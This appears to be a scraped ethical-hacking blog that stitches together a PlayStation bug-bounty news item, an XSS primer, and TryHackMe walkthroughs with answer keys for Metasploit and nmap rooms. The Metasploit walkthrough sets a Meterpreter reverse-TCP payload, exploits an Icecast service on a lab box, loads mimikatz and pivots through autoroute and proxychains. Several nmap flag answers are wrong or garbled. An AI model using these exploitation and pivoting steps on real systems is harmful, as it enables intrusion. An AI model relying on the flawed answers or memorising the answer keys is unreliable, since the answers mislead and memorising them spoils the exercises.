35 lakh rupees waiting for you even a little knowledge of hacking is there

If you too have a fondness for hacking, you know about coding, then 35 lakh rupees are waiting for you. Sony, the leading electronic company, has announced the bug bounty program for the gaming console PlayStation. Under this program, gamers or any common man may be entitled to this award by removing bugs in the PlayStation 4 and PlayStation Network. Earlier, Sony's PlayStation bug bounty program used to be private, but this year for the first time the company has announced to make it public. hacker101




Announcing this bug bounty program, Sony wrote in its blog, 'It is a fundamental part of our product security that gives a great experience to our community. To strengthen the security, we attach great importance to the research community. We are excited to announce the new bug bounty program. hackerone



The company has partnered with HackerOne for this and under this program, work is going on to find flaws in PS4 system, operating system, accessories and PlayStation network. It must be mentioned here that PS3 and PS2 are not part of this program. Bug Bounty Program








Sony has divided the prize money of Bug Bounty into four parts, which include Critical, High Severity, Medium Severity and Low Severity. For finding Critical Bugs in PlayStation 4, you will get 50,000 dollars i.e. about 38 lakh rupees, while searching for High, Medium and Low Severity bugs will get 10,000 dollars i.e. about 7.5 lakh rupees, 2,500 dollars i.e. two lakh rupees and 500 dollars i.e. about 38,000 rupees respectively. Bug crowd





Talking about the PlayStation Network (PSN), if you find a critical bug in it, then you will get 3,000 dollars i.e. about 2.5 lakh rupees, while on searching for high, medium and low severity bugs, 1,000 dollars i.e. about 75,500 rupees, 400 dollars i.e. 30,000 rupees respectively. 100 dollars i.e. about 7,500 rupees.



I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

Background Concept About Cross Site Scripting ( XSS ) With Examples

Now we are going to talk about XSS cross site scripting. XSS Vulnerabilities are among the most wide spread wab application vulnerabilities on the internet. 


Cross-site-scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicous code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur antwhere a web application uses input from a user within the output  it generates without validating or encoding it. Background concept about cross site scripting with examples



An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browsers has no way to kmow that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens or, other sensitive information retined by the browser and used with that site. cross site scripting with examples



It's refer to client side injection attack where an attacker can execute malicious scripts into a legitimate website or web application.  By leavrging a cross site scipting, an attacker doesn't target the victim directly instead an attacker would exploit a vulnerability within a web applications or websites that the victim would visit essentially using the vulnerable website as a vehicle the deliver the malcious script to the victim's browser. basicallly we will use a website to deliver our payloads to the victime, when victim visit into that they paylaod are will executed and the payload will to our job, payload can be malicious, payload can be simple whatever. xss examples

Let's talk about impact of XSS

1) Cookie theft
2) Keylogging
3) Phishing
4) URL Redirection



cross site scripting can be used to a part of URL redirection. Cookies stealing, Keylogging, Phishing etc.


so, in order to run our javascript malicious script in a victim's browser, an attacker must first find a way to inject a payload into web page. That's the victim visit. 


for exploitation, attacker can used social engineering way such as email, click jacking to manipulate user for executation to our payload.

Let's talk about the Types of XSS...

Mainly cross site scriptings are parts of three types :-


1) Reflected XSS
2) Stored XSS
3) DOM-based XSS




Reflected XSS or  Stored XSS 

It's a most common types of Cross site scripting, attacker payload script has to be part of the request which is send to the website an reflect back in such as a way that the HTTP response includes that the payload.

so, basically reflected cross site scripting are required client site interaction, if user will visit that the vulnerable web page and server will deliver our paylaod to the users browse here, then user stored this but server want any payload,we will deliver our paylaod to the client browser and if client visiting that then there's a client side attacks. sql injection cheatsheet




DOM Based XSS :-

it's a advance type of cross site scripting attack, which be made possibly when the web application client site scripting writes user provides a data into a document objects model. The Most dangerous parts of this attack is client side attacks. how to prevent from sql injection


In the attacker's payload is never sent to the server, this makes it will more to detect web application firewall and security engineers.


so basically let's take example of Reflected, stored and DOM through practially,




This is a website testphp.vulnweb.com


So we will type something in the search box like Hello or HackingTruth.in and hit go button...









so it's a reflected but not stored, it's not storing..
so there may be reflected cross site scripting.



Now. let's click on the signup option and you can try withlogin based application and if i will give a any text like kumaratuljaiswal.in

DOM XSS

if i will give any parameter like hello

paramter=hello


<script></script>


and just executing to the user's context, nor the server side to the sever application, then there may be DOM based...

Example this

prompt.mI/O


this is not sending to the server there are executing to the our context, if i will give anypayload there and it will execute then this is called DOM based scripting. cross site scripting how to prevent


see this








so just only executing on the user's script, nor the server side  nor to the client side.

How to Hunt for XSS ?

• Find a Input parameter, Give any input there and not senitizer then If your input reflect or stored any where there may be XSS.

• Try to execute any javascript code there, if you succeed to execute any javascript then there is a XSS

• Exploitation of XSS.

you'll find a input parameter then give input there , if your input reflect or stored anywhere there may be cross site scripting. cross site scripting example



XSS Cheatsheet Here :- Click Here 



I hope its clear to about The Background concept of cross site scripting :-)

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.

Video Tutorial :-  SooN

 

I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

tryhackme rp Metasploit


While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.












TryHackMe :- Click Here


TryHackMe has recently had their 500th user sign up to access varied content from fundamentals of web security to basic reverse engineering. Their self contained virtual classrooms make it easy for users to focus on a particular area by aggregating the necessary information. They want users to focus on the learning instead of spending time scouring the internet for resources! They are a relatively new company, so they are still in the process of creating custom VMs for learning purposes, but more content is being released weekly and their newsletter gives users an insight to whats being released on a weekly basis ahead of time. TryHackeMe RP : Metasploit walkthrough





 

Question:

[Task 1] Intro

[Task 2] Initializing…


1) First things first, we need to initialize the database! Let’s do that now with the command: msfdb init





   msfdb init    


I already initialzed database





2) Before starting Metasploit, we can view some of the advanced options we can trigger for starting the console. Check these out now by using the command: msfconsole -h


  msfconsole -h  






3) We can start the Metasploit console on the command line without showing the banner or any startup information as well. What switch do we add to msfconsole to start it without showing this information? This will include the ‘-’


    ANS: -q    



4) Once the database is initialized, go ahead and start Metasploit via the command: msfconsole


  msfconsole 








5)  After Metasploit has started, let’s go ahead and check that we’ve connected to the database. Do this now with the command: db_status


  db_status 








6) Cool! We’ve connected to the database, which type of database does Metasploit 5 use?


  ANS: postgresql 

 [Task 3] Rock ’em to the Core [Commands]

Let’s go ahead and start exploring the help menu. On the Metasploit prompt (where we’ll be at after we start Metasploit using msfconsole), type the command: help


  help  



2) The help menu has a very short one-character alias, what is it?



   ?   



3)  Finding various modules we have at our disposal within Metasploit is one of the most common commands we will leverage in the framework. What is the base command we use for searching?



   search  



4) Once we’ve found the module we want to leverage, what command we use to select it as the active module?



   use  



5) How about if we want to view information about either a specific module or just the active one we have selected?



   info  




6) Metasploit has a built-in netcat-like function where we can make a quick connection with a host simply to verify that we can ‘talk’ to it. What command is this?


  connect 



7) Entirely one of the commands purely utilized for fun, what command displays the motd/ascii art we see when we start msfconsole (without -q flag)?



  banner  






8)  We’ll revisit these next two commands shortly, however, they’re two of the most used commands within Metasploit. First, what command do we use to change the value of a variable?


  set  



9) Metasploit supports the use of global variables, something which is incredibly useful when you’re specifically focusing on a single box. What command changes the value of a variable globally?


  setg   



10)  Now that we’ve learned about to change the value of variables, how do we view them? There are technically several answers to this question, however, I’m looking for a specific three-letter command which is used to view the value of single variables.


  get  








11) How about changing the value of a variable to null/no value?



  unset 



12) When performing a penetration test it’s quite common to record your screen either for further review or for providing evidence of any actions taken. This is often coupled with the collection of console output to a file as it can be incredibly useful to grep for different pieces of information output to the screen. What command can we use to set our console output to save to a file?



   spool 



13) Leaving a Metasploit console running isn’t always convenient and it can be helpful to have all of our previously set values load when starting up Metasploit. What command can we use to store the settings/active datastores from Metasploit to a settings file? This will save within your msf4 (or msf5) directory and can be undone easily by simply removing the created settings file.


   
  save  

 

[Task 4] Modules for Every Occasion!

1) Easily the most common module utilized, which module holds all of the exploit code we will use?


  exploit 



2) Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation?


   payload  



3)  Which module is most commonly used in scanning and verification machines are exploitable? This is not the same as the actual exploitation of course.


   auxiliary  




4)  One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities?


   post   



5)  Commonly utilized in payload obfuscation, which module allows us to modify the ‘appearance’ of our exploit such that we may avoid signature detection?


   encoder 



6) Last but not least, which module is used with buffer overflow and ROP attacks?


  NOP  



7)  Not every module is loaded in by default, what command can we use to load different modules?


   load  

[Task 5] Move that shell!

1) Metasploit comes with a built-in way to run nmap and feed it’s results directly into our database. Let’s run that now by using the command ‘db_nmap -sV BOX-IP’


   db_nmap -sV <ip>  











2. What service does nmap identify running on port 135?


  ANS: msrdp 




3. Let’s go ahead and see what information we have collected in the database. Try typing the command ‘hosts’ into the msfconsole now.


  hosts  






4)  How about something else from the database, try the command ‘services’ now.




  services 








5) One last thing, try the command ‘vulns’ now. This won’t show much at the current moment, however, it’s worth noting that Metasploit will keep track of discovered vulnerabilities. One of the many ways the database can be leveraged quickly and powerfully.


  vulns 



6)  Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. In Metasploit 5 (the most recent version at the time of writing) you can simply type ‘use’ followed by a unique string found within only the target exploit. For example, try this out now with the following command ‘use icecast’. What is the full path for our exploit that now appears on the msfconsole prompt? *This will include the exploit section at the start



  use icecast  







   ANS: exploit/windows/http/icecast_header 
 



7) While that use command with the unique string can be incredibly useful that’s not quite the exploit we want here. Let’s now run the command ‘search multi/handler’. What is the name of the column on the far left side of the console that shows up next to ‘Name’? Go ahead and run the command ‘use NUMBER_NEXT_TO exploit/multi/handler` wherein the number will be what appears in that far left column (typically this will be 4 or 5). In this way, we can use our search results without typing out the full name/path of the module we want to use.




  search multi/handler  






  ANS: # 



8)  Now type the command ‘use NUMBER_FROM_PREVIOUS_QUESTION’. This is the short way to use modules returned by search results.



  use 4  



9) Next, let’s set the payload using this command ‘set PAYLOAD windows/meterpreter/reverse_tcp’. In this way, we can modify which payloads we want to use with our exploits. Additionally, let’s run this command ‘set LHOST YOUR_IP_ON_TRYHACKME’. You might have to check your IP using the command ‘ip addr’, it will likely be your tun0 interface.


  set PAYLOAD windows/meterpreter/reverse_tcpset 


   LHOST tun0    



10) Let’s go ahead and return to our previous exploit, run the command `use icecast` to select it again.


  use icecast  



11)  One last step before we can run our exploit. Run the command ‘set RHOST BOX_IP’ to tell Metasploit which target to attack.



  set RHOST <box_ip> 



12) Once you’re set those variables correctly, run the exploit now via either the command ‘exploit’ or the command ‘run -j’ to run this as a job.


   run -j  

[Task 6] We’re in, now what?

   ps  











    ANS: spoolsv.exe   




2) Let’s go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process? This won’t work at the current time as we don’t have sufficient privileges but we can still try!



   migrate -N spoolsv.exe  




3) Well that migration didn’t work, let’s find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?


  getuid  



4)  How about finding more information out about the system itself?



  sysinfo 




5. This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it?



     load kiwi     



6)  Let’s go ahead and figure out the privileges of our current user, what command do we run?



   getprivs  



7)  What command do we run to transfer files to our victim computer?


   upload  



8)  How about if we want to run a Metasploit module?


   run   



9) A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim?


   ipconfig  




10) Let’s go ahead and run a few post modules from Metasploit. First, let’s run the command `run post/windows/gather/checkvm`. This will determine if we’re in a VM, a very useful piece of knowledge for further pivoting.




   run post/windows/gather/checkvm 




11) Next, let’s try: `run post/multi/recon/local_exploit_suggester`. This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions, however, we’ll be going through this in greater detail in the room `Ice`.



   run post/multi/recon/local_exploit_suggester  



12) Finally, let’s try forcing RDP to be available. This won’t work since we aren’t administrators, however, this is a fun command to know about: `run post/windows/manage/enable_rdp`



  run post/windows/manage/enable_rdp  


13. One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?


    shell  

[Task 7] Makin’ Cisco Proud

1) Let’s go ahead and run the command `run autoroute -h`, this will pull up the help menu for autoroute. What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer.



  run autoroute -h  



   run autoroute -s 172.18.1.0 -n 255.255.255.0  




2) Additionally, we can start a socks4a proxy server out of this session. Background our current meterpreter session and run the command `search server/socks4a`. What is the full path to the socks4a auxiliary module?



   search server/socks4a  



  ANS: auxiliary/server/socks4a  
 


3)  Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks4a server with proxychains?



  proxychains  

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.

Video Tutorial :-  

     




I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

tryhackme rp nmap


While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.








Script Categories :- Click Here

TryHackMe :- Click Here


TryHackMe has recently had their 500th user sign up to access varied content from fundamentals of web security to basic reverse engineering. Their self contained virtual classrooms make it easy for users to focus on a particular area by aggregating the necessary information. They want users to focus on the learning instead of spending time scouring the internet for resources! They are a relatively new company, so they are still in the process of creating custom VMs for learning purposes, but more content is being released weekly and their newsletter gives users an insight to whats being released on a weekly basis ahead of time.

Question:

1) First, how do you access the help menu?


         -h           



2) Often referred to as a stealth scan, what is the first switch listed for a ‘Syn Scan’?



        --sS         



3) Not quite as useful but how about a ‘UDP Scan’?


        --sU         




4) What about operating system detection?



        --O         



5) How about service version detection?
   


         --sV       



6) Most people like to see some output to know that their scan is actually doing things, what is the verbosity flag?
 


        --v           






7) What about ‘very verbose’? (A personal favorite)



       --vv        




8)  Sometimes saving output in a common document format can be really handy for reporting, how do we save output in xml format?   -oX



      --oX       



9) Aggressive scans can be nice when other scans just aren’t getting the output that you want and you really don’t care how ‘loud’ you are, what is the switch for enabling this?



        -A        




10) How do I set the timing to the max level, sometimes called ‘Insane’?
   


      -T5        



11) What about if I want to scan a specific port?
   







       -P            




12 )How about if I want to scan every port?


        -p-        



13) What if I want to enable using a script from the nmap scripting engine? For this, just include the first part of the switch without the specification of what script to run.



   --script      






14) What if I want to run all scripts out of the vulnerability category?


    --script  vuln    



15) What switch should I include if I don’t want to ping the host?



         -Pn         

Nmap Scanning

1) Let’s go ahead and start with the basics and perform a syn scan on the box provided. What will this command be without the host IP address?





      nmap  -sS        









2) After scanning this, how many ports do we find open under 1000?






       ANS : 2       



3) What communication protocol is given for these ports following the port number?



      ANS : tcp       





4) Perform a service version detection scan, what is the version of the software running on port 22?



   nmap -sV <ip>   








   ANS : 6.6.1p1   




5) Perform an aggressive scan, what flag isn’t set under the results for port 80?




   nmap -A <ip>  








 ANS: httponly 






6) Perform a script scan of vulnerabilities associated with this box, what denial of service (DOS) attack is this box susceptible to? Answer with the name for the vulnerability that is given as the section title in the scan output. A vuln scan can take a while to complete. In case you get stuck, the answer for this question has been provided in the hint, however, it’s good to still run this scan and get used to using it as it can be invaluable.




 nmap --script vuln <ip> 








 ANS: http-slowloris-check 

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.

Video Tutorial :-  

       

I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)